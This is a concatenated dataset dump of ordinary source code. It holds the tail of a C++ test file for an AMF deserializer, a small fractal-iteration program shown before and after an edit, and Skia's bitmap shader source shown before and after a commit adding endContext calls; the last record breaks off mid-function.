1);\n}\n\nTEST(DeserializerTest, Bool) {\n\tdeserializesTo(AmfBool(false), { 0x02 });\n\tdeserializesTo(AmfBool(false), { 0x02, 0x02 }, 1);\n\tdeserializesTo(AmfBool(true), { 0x03 });\n\tdeserializesTo(AmfBool(true), { 0x03, 0x03 }, 1);\n}\n\nTEST(DeserializerTest, Integer) {\n\tdeserializesTo(AmfInteger(0x7e), { 0x04, 0x7e });\n\tdeserializesTo(AmfInteger(0x7e), { 0x04, 0x7e, 0x04 }, 1);\n\tdeserializesTo(AmfInteger(0xffffffe), { 0x04, 0xbf, 0xff, 0xff, 0xfe });\n}\n\nTEST(DeserializerTest, Double) {\n\tdeserializesTo(AmfDouble(0.5), { 0x05, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\tdeserializesTo(AmfDouble(0.5), { 0x05, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00 }, 3);\n}\n\nTEST(DeserializerTest, String) {\n\tdeserializesTo(AmfString(\"foo\"), { 0x06, 0x07, 0x66, 0x6f, 0x6f });\n\tdeserializesTo(AmfString(\"foo\"), { 0x06, 0x07, 0x66, 0x6f, 0x6f, 0x06 }, 1);\n}\n\nTEST(DeserializerTest, XmlDoc) {\n\tdeserializesTo(AmfXmlDocument(\"\"), { 0x07, 0x01 });\n\tdeserializesTo(AmfXmlDocument(\"\"), { 0x07, 0x01, 0x07 }, 1);\n\tdeserializesTo(AmfXmlDocument(\"foo\"), { 0x07, 0x07, 0x66, 0x6f, 0x6f });\n}\n\nTEST(DeserializerTest, Date) {\n\tdeserializesTo(AmfDate(136969002755210ll), { 0x08, 0x01, 0x42, 0xdf, 0x24,\n\t\t0xa5, 0x30, 0x49, 0x22, 0x80 });\n\tdeserializesTo(AmfDate(136969002755210ll), { 0x08, 0x01, 0x42, 0xdf, 0x24,\n\t\t0xa5, 0x30, 0x49, 0x22, 0x80, 0x08 }, 1);\n}\n\nTEST(DeserializerTest, Array) {\n\tdeserializesTo(AmfArray(), { 0x09, 0x01, 0x01 });\n\tdeserializesTo(AmfArray(std::vector { 1, 2, 3 } ), {\n\t\t0x09, 0x07, 0x01, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, Xml) {\n\tdeserializesTo(AmfXml(\"\"), { 0x0b, 0x01 });\n\tdeserializesTo(AmfXml(\"\"), { 0x0b, 0x01, 0x0b }, 1);\n\tdeserializesTo(AmfXml(\"foo\"), { 0x0b, 0x07, 0x66, 0x6f, 0x6f });\n}\n\nTEST(DeserializerTest, Object) {\n\tdeserializesTo(AmfObject(\"\", false, false), { 0x0a, 0x03, 0x01 });\n\tdeserializesTo(AmfObject(\"\", true, false), { 0x0a, 0x0b, 0x01, 0x01, 0xff }, 1);\n}\n\nTEST(DeserializerTest, ByteArray) {\n\tdeserializesTo(AmfByteArray(v8 { 1, 2, 3 }), { 0x0c, 0x07, 0x01, 0x02, 0x03 });\n\tdeserializesTo(AmfByteArray(v8 { 1, 2, 3 }), { 0x0c, 0x07, 0x01, 0x02, 0x03, 0x0c }, 1);\n}\n\nTEST(DeserializerTest, VectorInt) {\n\tdeserializesTo(AmfVector { { 1 }, false}, { 0x0d, 0x03, 0x00,\n\t\t0x00, 0x00, 0x00, 0x01 });\n\tdeserializesTo(AmfVector { { 2, 3 }, true}, { 0x0d, 0x05, 0x01,\n\t\t0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorUint) {\n\tdeserializesTo(AmfVector { { 1 }, false}, { 0x0e, 0x03, 0x00,\n\t\t0x00, 0x00, 0x00, 0x01 });\n\tdeserializesTo(AmfVector { { 2, 3 }, true}, { 0x0e, 0x05, 0x01,\n\t\t0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorDouble) {\n\tdeserializesTo(AmfVector { { 0.5 }, false }, { 0x0f, 0x03, 0x00,\n\t\t0x3f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n\tdeserializesTo(AmfVector { { -1.2 }, true }, { 0x0f, 0x03, 0x01,\n\t\t0xbf, 0xf3, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0xff }, 1);\n}\n\nTEST(DeserializerTest, VectorAmfItem) {\n\tAmfVector v({1, 2, 3}, \"foo\", false);\n\t\/\/ Need to pass a AmfVector to compare against, as that's what\n\t\/\/ Deserializer::deserialize returns\n\tAmfVector vc = v;\n\tv8 data {\n\t\t0x10, 0x07, 0x00,\n\t\t0x07, 0x66, 0x6f, 0x6f,\n\t\t0x04, 0x01,\n\t\t0x04, 0x02,\n\t\t0x04, 0x03\n\t};\n\n\tdeserializesTo(vc, data);\n}\n\nTEST(DeserializerTest, InstanceContext) {\n\tAmfByteArray ba(v8 { 0x1 });\n\tv8 data {\n\t\t0x0c, 0x03, 0x01,\n\t\t0x0c, 0x00,\n\t};\n\n\tDeserializer d;\n\tauto it = data.cbegin();\n\tauto end = data.cend();\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\tASSERT_EQ(data.cbegin() + 3, it);\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\tASSERT_EQ(end, it);\n}\n\nTEST(DeserializerTest, ClearContext) {\n\tAmfByteArray ba(v8 { 0x1 });\n\tv8 data {\n\t\t0x0c, 0x03, 0x01,\n\t\t0x0c, 0x00,\n\t};\n\n\tDeserializer d;\n\tauto it = data.cbegin();\n\tauto end = data.cend();\n\tASSERT_EQ(ba, d.deserialize(it, end).as());\n\td.clearContext();\n\tASSERT_THROW(d.deserialize(it, end), std::out_of_range);\n}\n\nTEST(DeserializerTest, UnknownType) {\n\tDeserializer d;\n\tASSERT_THROW(d.deserialize({ AMF_DICTIONARY + 1 }), std::invalid_argument);\n\tASSERT_THROW(d.deserialize({ 0xff }), std::invalid_argument);\n}\n\nTEST(DeserializerTest, IncorrectTypeRef) {\n\tDeserializer d;\n\tASSERT_EQ(AmfArray(), d.deserialize(v8 { 0x09, 0x01, 0x01 }).as());\n\tASSERT_EQ(AmfArray(), d.deserialize(v8 { 0x09, 0x00 }).as());\n\tASSERT_THROW(d.deserialize(v8 { 0x10, 0x00 }), std::invalid_argument);\n}\n<|endoftext|>"} {"text":"#include \n\nint main() {\n std::cout << \"Fractalogy!\\n\";\n\n return 0;\n}\n\nAdd the iteration function for the fractals#include \n#include \n\nusing std::cout;\nusing std::complex;\nusing std::exp;\nusing std::norm;\n\n\/\/\/ returns -1 on failing to escape\nint iteration(complex c, int limit = 1000) {\n int i = 0;\n double n;\n complex z(0, 0);\n while ((n = norm(z)) < 4 && i < limit) {\n z = exp(z) - c;\n ++i;\n }\n\n if (n < 4)\n return -1;\n else\n return i;\n}\n\nint main() {\n std::cout << \"Fractalogy!\\n\";\n double lower = -2, upper = 2;\n int width = 100, height = 100;\n for (int i = 0; i <= width; ++i) {\n for (int j = 0; j <= height; ++j) {\n complex t;\n t = complex(lower + (upper - lower) * i \/ width, lower + (upper - lower) * j \/ height);\n cout << iteration(t) << \" \";\n }\n cout << std::endl;\n }\n\n return 0;\n}\n\n<|endoftext|>"} {"text":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"SkBitmapProcShader.h\"\n#include \"SkColorPriv.h\"\n#include \"SkFlattenableBuffers.h\"\n#include \"SkPixelRef.h\"\n\nbool SkBitmapProcShader::CanDo(const SkBitmap& bm, TileMode tx, TileMode ty) {\n switch (bm.config()) {\n case SkBitmap::kA8_Config:\n case SkBitmap::kRGB_565_Config:\n case SkBitmap::kIndex8_Config:\n case SkBitmap::kARGB_8888_Config:\n \/\/ if (tx == ty && (kClamp_TileMode == tx || kRepeat_TileMode == tx))\n return true;\n default:\n break;\n }\n return false;\n}\n\nSkBitmapProcShader::SkBitmapProcShader(const SkBitmap& src,\n TileMode tmx, TileMode tmy) {\n fRawBitmap = src;\n fState.fTileModeX = (uint8_t)tmx;\n fState.fTileModeY = (uint8_t)tmy;\n fFlags = 0; \/\/ computed in setContext\n}\n\nSkBitmapProcShader::SkBitmapProcShader(SkFlattenableReadBuffer& buffer)\n : INHERITED(buffer) {\n buffer.readBitmap(&fRawBitmap);\n fRawBitmap.setImmutable();\n fState.fTileModeX = buffer.readUInt();\n fState.fTileModeY = buffer.readUInt();\n fFlags = 0; \/\/ computed in setContext\n}\n\nSkShader::BitmapType SkBitmapProcShader::asABitmap(SkBitmap* texture,\n SkMatrix* texM,\n TileMode xy[]) const {\n if (texture) {\n *texture = fRawBitmap;\n }\n if (texM) {\n texM->reset();\n }\n if (xy) {\n xy[0] = (TileMode)fState.fTileModeX;\n xy[1] = (TileMode)fState.fTileModeY;\n }\n return kDefault_BitmapType;\n}\n\nvoid SkBitmapProcShader::flatten(SkFlattenableWriteBuffer& buffer) const {\n this->INHERITED::flatten(buffer);\n\n buffer.writeBitmap(fRawBitmap);\n buffer.writeUInt(fState.fTileModeX);\n buffer.writeUInt(fState.fTileModeY);\n}\n\nstatic bool only_scale_and_translate(const SkMatrix& matrix) {\n unsigned mask = SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask;\n return (matrix.getType() & ~mask) == 0;\n}\n\nbool SkBitmapProcShader::isOpaque() const {\n return fRawBitmap.isOpaque();\n}\n\nbool SkBitmapProcShader::setContext(const SkBitmap& device,\n const SkPaint& paint,\n const SkMatrix& matrix) {\n \/\/ do this first, so we have a correct inverse matrix\n if (!this->INHERITED::setContext(device, paint, matrix)) {\n return false;\n }\n\n fState.fOrigBitmap = fRawBitmap;\n fState.fOrigBitmap.lockPixels();\n if (!fState.fOrigBitmap.getTexture() && !fState.fOrigBitmap.readyToDraw()) {\n fState.fOrigBitmap.unlockPixels();\n return false;\n }\n\n if (!fState.chooseProcs(this->getTotalInverse(), paint)) {\n fState.fOrigBitmap.unlockPixels();\n return false;\n }\n\n const SkBitmap& bitmap = *fState.fBitmap;\n bool bitmapIsOpaque = bitmap.isOpaque();\n\n \/\/ update fFlags\n uint32_t flags = 0;\n if (bitmapIsOpaque && (255 == this->getPaintAlpha())) {\n flags |= kOpaqueAlpha_Flag;\n }\n\n switch (bitmap.config()) {\n case SkBitmap::kRGB_565_Config:\n flags |= (kHasSpan16_Flag | kIntrinsicly16_Flag);\n break;\n case SkBitmap::kIndex8_Config:\n case SkBitmap::kARGB_8888_Config:\n if (bitmapIsOpaque) {\n flags |= kHasSpan16_Flag;\n }\n break;\n case SkBitmap::kA8_Config:\n break; \/\/ never set kHasSpan16_Flag\n default:\n break;\n }\n\n if (paint.isDither() && bitmap.config() != SkBitmap::kRGB_565_Config) {\n \/\/ gradients can auto-dither in their 16bit sampler, but we don't so\n \/\/ we clear the flag here.\n flags &= ~kHasSpan16_Flag;\n }\n\n \/\/ if we're only 1-pixel heigh, and we don't rotate, then we can claim this\n if (1 == bitmap.height() &&\n only_scale_and_translate(this->getTotalInverse())) {\n flags |= kConstInY32_Flag;\n if (flags & kHasSpan16_Flag) {\n flags |= kConstInY16_Flag;\n }\n }\n\n fFlags = flags;\n return true;\n}\n\nvoid SkBitmapProcShader::endContext() {\n fState.fOrigBitmap.unlockPixels();\n this->INHERITED::endContext();\n}\n\n#define BUF_MAX 128\n\n#define TEST_BUFFER_OVERRITEx\n\n#ifdef TEST_BUFFER_OVERRITE\n #define TEST_BUFFER_EXTRA 32\n #define TEST_PATTERN 0x88888888\n#else\n #define TEST_BUFFER_EXTRA 0\n#endif\n\nvoid SkBitmapProcShader::shadeSpan(int x, int y, SkPMColor dstC[], int count) {\n const SkBitmapProcState& state = fState;\n if (state.getShaderProc32()) {\n state.getShaderProc32()(state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX + TEST_BUFFER_EXTRA];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc32 sproc = state.getSampleProc32();\n int max = fState.maxCountForBufferSize(sizeof(buffer[0]) * BUF_MAX);\n\n SkASSERT(state.fBitmap->getPixels());\n SkASSERT(state.fBitmap->pixelRef() == NULL ||\n state.fBitmap->pixelRef()->isLocked());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n SkASSERT(n > 0 && n < BUF_MAX*2);\n#ifdef TEST_BUFFER_OVERRITE\n for (int i = 0; i < TEST_BUFFER_EXTRA; i++) {\n buffer[BUF_MAX + i] = TEST_PATTERN;\n }\n#endif\n mproc(state, buffer, n, x, y);\n#ifdef TEST_BUFFER_OVERRITE\n for (int j = 0; j < TEST_BUFFER_EXTRA; j++) {\n SkASSERT(buffer[BUF_MAX + j] == TEST_PATTERN);\n }\n#endif\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n SkASSERT(count > 0);\n x += n;\n dstC += n;\n }\n}\n\nSkShader::ShadeProc SkBitmapProcShader::asAShadeProc(void** ctx) {\n if (fState.getShaderProc32()) {\n *ctx = &fState;\n return (ShadeProc)fState.getShaderProc32();\n }\n return NULL;\n}\n\nvoid SkBitmapProcShader::shadeSpan16(int x, int y, uint16_t dstC[], int count) {\n const SkBitmapProcState& state = fState;\n if (state.getShaderProc16()) {\n state.getShaderProc16()(state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc16 sproc = state.getSampleProc16();\n int max = fState.maxCountForBufferSize(sizeof(buffer));\n\n SkASSERT(state.fBitmap->getPixels());\n SkASSERT(state.fBitmap->pixelRef() == NULL ||\n state.fBitmap->pixelRef()->isLocked());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n mproc(state, buffer, n, x, y);\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n x += n;\n dstC += n;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"SkUnPreMultiply.h\"\n#include \"SkColorShader.h\"\n#include \"SkEmptyShader.h\"\n\n\/\/ returns true and set color if the bitmap can be drawn as a single color\n\/\/ (for efficiency)\nstatic bool canUseColorShader(const SkBitmap& bm, SkColor* color) {\n if (1 != bm.width() || 1 != bm.height()) {\n return false;\n }\n\n SkAutoLockPixels alp(bm);\n if (!bm.readyToDraw()) {\n return false;\n }\n\n switch (bm.config()) {\n case SkBitmap::kARGB_8888_Config:\n *color = SkUnPreMultiply::PMColorToColor(*bm.getAddr32(0, 0));\n return true;\n case SkBitmap::kRGB_565_Config:\n *color = SkPixel16ToColor(*bm.getAddr16(0, 0));\n return true;\n case SkBitmap::kIndex8_Config:\n *color = SkUnPreMultiply::PMColorToColor(bm.getIndex8Color(0, 0));\n return true;\n default: \/\/ just skip the other configs for now\n break;\n }\n return false;\n}\n\n#include \"SkTemplatesPriv.h\"\n\nstatic bool bitmapIsTooBig(const SkBitmap& bm) {\n \/\/ SkBitmapProcShader stores bitmap coordinates in a 16bit buffer, as it\n \/\/ communicates between its matrix-proc and its sampler-proc. Until we can\n \/\/ widen that, we have to reject bitmaps that are larger.\n \/\/\n const int maxSize = 65535;\n\n return bm.width() > maxSize || bm.height() > maxSize;\n}\n\nSkShader* SkShader::CreateBitmapShader(const SkBitmap& src,\n TileMode tmx, TileMode tmy,\n void* storage, size_t storageSize) {\n SkShader* shader;\n SkColor color;\n if (src.isNull() || bitmapIsTooBig(src)) {\n SK_PLACEMENT_NEW(shader, SkEmptyShader, storage, storageSize);\n }\n else if (canUseColorShader(src, &color)) {\n SK_PLACEMENT_NEW_ARGS(shader, SkColorShader, storage, storageSize,\n (color));\n } else {\n SK_PLACEMENT_NEW_ARGS(shader, SkBitmapProcShader, storage,\n storageSize, (src, tmx, tmy));\n }\n return shader;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic const char* gTileModeName[] = {\n \"clamp\", \"repeat\", \"mirror\"\n};\n\nbool SkBitmapProcShader::toDumpString(SkString* str) const {\n str->printf(\"BitmapShader: [%d %d %d\",\n fRawBitmap.width(), fRawBitmap.height(),\n fRawBitmap.bytesPerPixel());\n\n \/\/ add the pixelref\n SkPixelRef* pr = fRawBitmap.pixelRef();\n if (pr) {\n const char* uri = pr->getURI();\n if (uri) {\n str->appendf(\" \\\"%s\\\"\", uri);\n }\n }\n\n \/\/ add the (optional) matrix\n {\n if (this->hasLocalMatrix()) {\n SkString info;\n this->getLocalMatrix().toDumpString(&info);\n str->appendf(\" %s\", info.c_str());\n }\n }\n\n str->appendf(\" [%s %s]]\",\n gTileModeName[fState.fTileModeX],\n gTileModeName[fState.fTileModeY]);\n return true;\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if SK_SUPPORT_GPU\n\n#include \"GrTextureAccess.h\"\n#include \"effects\/GrSingleTextureEffect.h\"\n#include \"SkGr.h\"\n\nGrEffect* SkBitmapProcShader::asNewEffect(GrContext* context, const SkPaint& paint) const {\n SkMatrix matrix;\n matrix.setIDiv(fRawBitmap.width(), fRawBitmap.height());\n\n if (this->hasLocalMatrix()) {\n SkMatrix inverse;\n if (!this->getLocalMatrix().invert(&inverse)) {\n return NULL;\n }\n matrix.preConcat(inverse);\n }\n SkShader::TileMode tm[] = {\n (TileMode)fState.fTileModeX,\n (TileMode)fState.fTileModeY,\n };\n\n \/\/ Must set wrap and filter on the sampler before requesting a texture.\n GrTextureParams params(tm, paint.isFilterBitmap());\n GrTexture* texture = GrLockCachedBitmapTexture(context, fRawBitmap, ¶ms);\n\n if (NULL == texture) {\n SkDebugf(\"Couldn't convert bitmap to texture.\\n\");\n return NULL;\n }\n\n GrEffect* effect = SkNEW_ARGS(GrSingleTextureEffect, (texture, matrix, params));\n GrUnlockCachedBitmapTexture(texture);\n return effect;\n}\n#endif\ncall endContext() if we have to return false from setContext(), to keep the debugging fInSetContext flag up-to-date.\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"SkBitmapProcShader.h\"\n#include \"SkColorPriv.h\"\n#include \"SkFlattenableBuffers.h\"\n#include \"SkPixelRef.h\"\n\nbool SkBitmapProcShader::CanDo(const SkBitmap& bm, TileMode tx, TileMode ty) {\n switch (bm.config()) {\n case SkBitmap::kA8_Config:\n case SkBitmap::kRGB_565_Config:\n case SkBitmap::kIndex8_Config:\n case SkBitmap::kARGB_8888_Config:\n \/\/ if (tx == ty && (kClamp_TileMode == tx || kRepeat_TileMode == tx))\n return true;\n default:\n break;\n }\n return false;\n}\n\nSkBitmapProcShader::SkBitmapProcShader(const SkBitmap& src,\n TileMode tmx, TileMode tmy) {\n fRawBitmap = src;\n fState.fTileModeX = (uint8_t)tmx;\n fState.fTileModeY = (uint8_t)tmy;\n fFlags = 0; \/\/ computed in setContext\n}\n\nSkBitmapProcShader::SkBitmapProcShader(SkFlattenableReadBuffer& buffer)\n : INHERITED(buffer) {\n buffer.readBitmap(&fRawBitmap);\n fRawBitmap.setImmutable();\n fState.fTileModeX = buffer.readUInt();\n fState.fTileModeY = buffer.readUInt();\n fFlags = 0; \/\/ computed in setContext\n}\n\nSkShader::BitmapType SkBitmapProcShader::asABitmap(SkBitmap* texture,\n SkMatrix* texM,\n TileMode xy[]) const {\n if (texture) {\n *texture = fRawBitmap;\n }\n if (texM) {\n texM->reset();\n }\n if (xy) {\n xy[0] = (TileMode)fState.fTileModeX;\n xy[1] = (TileMode)fState.fTileModeY;\n }\n return kDefault_BitmapType;\n}\n\nvoid SkBitmapProcShader::flatten(SkFlattenableWriteBuffer& buffer) const {\n this->INHERITED::flatten(buffer);\n\n buffer.writeBitmap(fRawBitmap);\n buffer.writeUInt(fState.fTileModeX);\n buffer.writeUInt(fState.fTileModeY);\n}\n\nstatic bool only_scale_and_translate(const SkMatrix& matrix) {\n unsigned mask = SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask;\n return (matrix.getType() & ~mask) == 0;\n}\n\nbool SkBitmapProcShader::isOpaque() const {\n return fRawBitmap.isOpaque();\n}\n\nbool SkBitmapProcShader::setContext(const SkBitmap& device,\n const SkPaint& paint,\n const SkMatrix& matrix) {\n \/\/ do this first, so we have a correct inverse matrix\n if (!this->INHERITED::setContext(device, paint, matrix)) {\n return false;\n }\n\n fState.fOrigBitmap = fRawBitmap;\n fState.fOrigBitmap.lockPixels();\n if (!fState.fOrigBitmap.getTexture() && !fState.fOrigBitmap.readyToDraw()) {\n fState.fOrigBitmap.unlockPixels();\n this->INHERITED::endContext();\n return false;\n }\n\n if (!fState.chooseProcs(this->getTotalInverse(), paint)) {\n fState.fOrigBitmap.unlockPixels();\n this->INHERITED::endContext();\n return false;\n }\n\n const SkBitmap& bitmap = *fState.fBitmap;\n bool bitmapIsOpaque = bitmap.isOpaque();\n\n \/\/ update fFlags\n uint32_t flags = 0;\n if (bitmapIsOpaque && (255 == this->getPaintAlpha())) {\n flags |= kOpaqueAlpha_Flag;\n }\n\n switch (bitmap.config()) {\n case SkBitmap::kRGB_565_Config:\n flags |= (kHasSpan16_Flag | kIntrinsicly16_Flag);\n break;\n case SkBitmap::kIndex8_Config:\n case SkBitmap::kARGB_8888_Config:\n if (bitmapIsOpaque) {\n flags |= kHasSpan16_Flag;\n }\n break;\n case SkBitmap::kA8_Config:\n break; \/\/ never set kHasSpan16_Flag\n default:\n break;\n }\n\n if (paint.isDither() && bitmap.config() != SkBitmap::kRGB_565_Config) {\n \/\/ gradients can auto-dither in their 16bit sampler, but we don't so\n \/\/ we clear the flag here.\n flags &= ~kHasSpan16_Flag;\n }\n\n \/\/ if we're only 1-pixel heigh, and we don't rotate, then we can claim this\n if (1 == bitmap.height() &&\n only_scale_and_translate(this->getTotalInverse())) {\n flags |= kConstInY32_Flag;\n if (flags & kHasSpan16_Flag) {\n flags |= kConstInY16_Flag;\n }\n }\n\n fFlags = flags;\n return true;\n}\n\nvoid SkBitmapProcShader::endContext() {\n fState.fOrigBitmap.unlockPixels();\n this->INHERITED::endContext();\n}\n\n#define BUF_MAX 128\n\n#define TEST_BUFFER_OVERRITEx\n\n#ifdef TEST_BUFFER_OVERRITE\n #define TEST_BUFFER_EXTRA 32\n #define TEST_PATTERN 0x88888888\n#else\n #define TEST_BUFFER_EXTRA 0\n#endif\n\nvoid SkBitmapProcShader::shadeSpan(int x, int y, SkPMColor dstC[], int count) {\n const SkBitmapProcState& state = fState;\n if (state.getShaderProc32()) {\n state.getShaderProc32()(state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX + TEST_BUFFER_EXTRA];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc32 sproc = state.getSampleProc32();\n int max = fState.maxCountForBufferSize(sizeof(buffer[0]) * BUF_MAX);\n\n SkASSERT(state.fBitmap->getPixels());\n SkASSERT(state.fBitmap->pixelRef() == NULL ||\n state.fBitmap->pixelRef()->isLocked());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n SkASSERT(n > 0 && n < BUF_MAX*2);\n#ifdef TEST_BUFFER_OVERRITE\n for (int i = 0; i < TEST_BUFFER_EXTRA; i++) {\n buffer[BUF_MAX + i] = TEST_PATTERN;\n }\n#endif\n mproc(state, buffer, n, x, y);\n#ifdef TEST_BUFFER_OVERRITE\n for (int j = 0; j < TEST_BUFFER_EXTRA; j++) {\n SkASSERT(buffer[BUF_MAX + j] == TEST_PATTERN);\n }\n#endif\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n SkASSERT(count > 0);\n x += n;\n dstC += n;\n }\n}\n\nSkShader::ShadeProc SkBitmapProcShader::asAShadeProc(void** ctx) {\n if (fState.getShaderProc32()) {\n *ctx = &fState;\n return (ShadeProc)fState.getShaderProc32();\n }\n return NULL;\n}\n\nvoid SkBitmapProcShader::shadeSpan16(int x, int y, uint16_t dstC[], int count) {\n const SkBitmapProcState& state = fState;\n if (state.getShaderProc16()) {\n state.getShaderProc16()(state, x, y, dstC, count);\n return;\n }\n\n uint32_t buffer[BUF_MAX];\n SkBitmapProcState::MatrixProc mproc = state.getMatrixProc();\n SkBitmapProcState::SampleProc16 sproc = state.getSampleProc16();\n int max = fState.maxCountForBufferSize(sizeof(buffer));\n\n SkASSERT(state.fBitmap->getPixels());\n SkASSERT(state.fBitmap->pixelRef() == NULL ||\n state.fBitmap->pixelRef()->isLocked());\n\n for (;;) {\n int n = count;\n if (n > max) {\n n = max;\n }\n mproc(state, buffer, n, x, y);\n sproc(state, buffer, n, dstC);\n\n if ((count -= n) == 0) {\n break;\n }\n x += n;\n dstC += n;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"SkUnPreMultiply.h\"\n#include \"SkColorShader.h\"\n#include \"SkEmptyShader.h\"\n\n\/\/ returns true and set color if the bitmap can be drawn as a single color\n\/\/ (for efficiency)\nstatic bool canUseColorShader(const SkBitmap& bm, SkColor* color) {\n if (1 != bm.width() || 1 != bm.height()) {\n return false;\n }\n\n SkAutoLockPixels alp(bm);\n if (!bm.readyToDraw()) {\n return false;\n }\n\n switch (bm.config()) {\n case SkBitmap::kARGB_8888_Config:\n *color = SkUnPreMultiply::PMColorToColor(*bm.getAddr32(0, 0));\n return true;\n case SkBitmap::kRGB_565_Config:\n *color = SkPixel16ToColor(*bm.getAddr16(0, 0));\n return true;\n case SkBitmap::kIndex8_Config:\n *color = SkUnPreMultiply::PMColorToColor(bm.getIndex8Color(0, 0));\n return true;\n default: \/\/ just skip the other configs for now\n break;\n }\n return false;\n}\n\n#include \"SkTemplatesPriv.h\"\n\nstatic bool bitmapIsTooBig(const SkBitmap& bm) {\n \/\/ SkBitmapProcShader stores bitmap coordinates in a 16bit buffer, as it\n \/\/ communicates between its matrix-proc and its sampler-proc. Until we can\n \/\/ widen that, we have to reject bitmaps that are larger.\n \/\/\n const int maxSize = 65535;\n\n return bm.width() > maxSize || bm.height() > maxSize;\n}\n\nSkShader* SkShader::CreateBitmapShader(const SkBitmap& src,\n TileMode tmx, TileMode tmy,\n void* storage, size_t storageSize) {\n SkShader* shader;\n SkColor color;\n if (src.isNull() || bitmapIsTooBig(src)) {\n SK_PLACEMENT_NEW(shader, SkEmptyShader, storage, storageSize);\n }\n else if (canUseColorShader(src, &color)) {\n SK_PLACEMENT_NEW_ARGS(shader, SkColorShader, storage, storageSize,\n (color));\n } else {\n SK_PLACEMENT_NEW_ARGS(shader, SkBitmapProcShader, storage,\n storageSize, (src, tmx, tmy));\n }\n return shader;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic const char* gTileModeName[] = {\n \"clamp\", \"repeat\", \"mirror\"\n};\n\nbool SkBitmapProcShader::toDumpString(SkString* str) const {\n str->printf(\"BitmapShader: [%d %d %d\",\n fRawBitmap.width(), fRawBitmap.height(),\n fRawBitmap.bytesPerPixel());\n\n \/\/ add the pixelref\n SkPixelRef* pr = fRawBitmap.pixelRef();\n if (pr) {\n const char* uri = pr->getURI();\n if (uri) {\n str->appendf(\" \\\"%s\\\"\", uri);\n }\n }\n\n \/\/ add the (optional) matrix\n {\n if (this->hasLocalMatrix()) {\n SkString info;\n this->getLocalMatrix().toDumpString(&info);\n str->appendf(\" %s\", info.c_str());\n }\n }\n\n str->appendf(\" [%s %s]]\",\n gTileModeName[fState.fTileModeX],\n gTileModeName[fState.fTileModeY]);\n return true;\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if SK_SUPPORT_GPU\n\n#include \"GrTextureAccess.h\"\n#include \"effects\/GrSingleTextureEffect.h\"\n#include \"SkGr.h\"\n\nGrEffect* SkBitmapProcShader::asNewEffect(GrContext* context, const SkPaint& paint) const {\n SkMatrix matrix;\n matrix.setIDiv(fRawBitmap.width(), fRawBitmap.height());\n\n if (this->hasLocalMatrix()) {\n SkMatrix inverse;\n if (!this->getLocalMatrix().invert(&inverse)) {\n return NULL;\n }\n 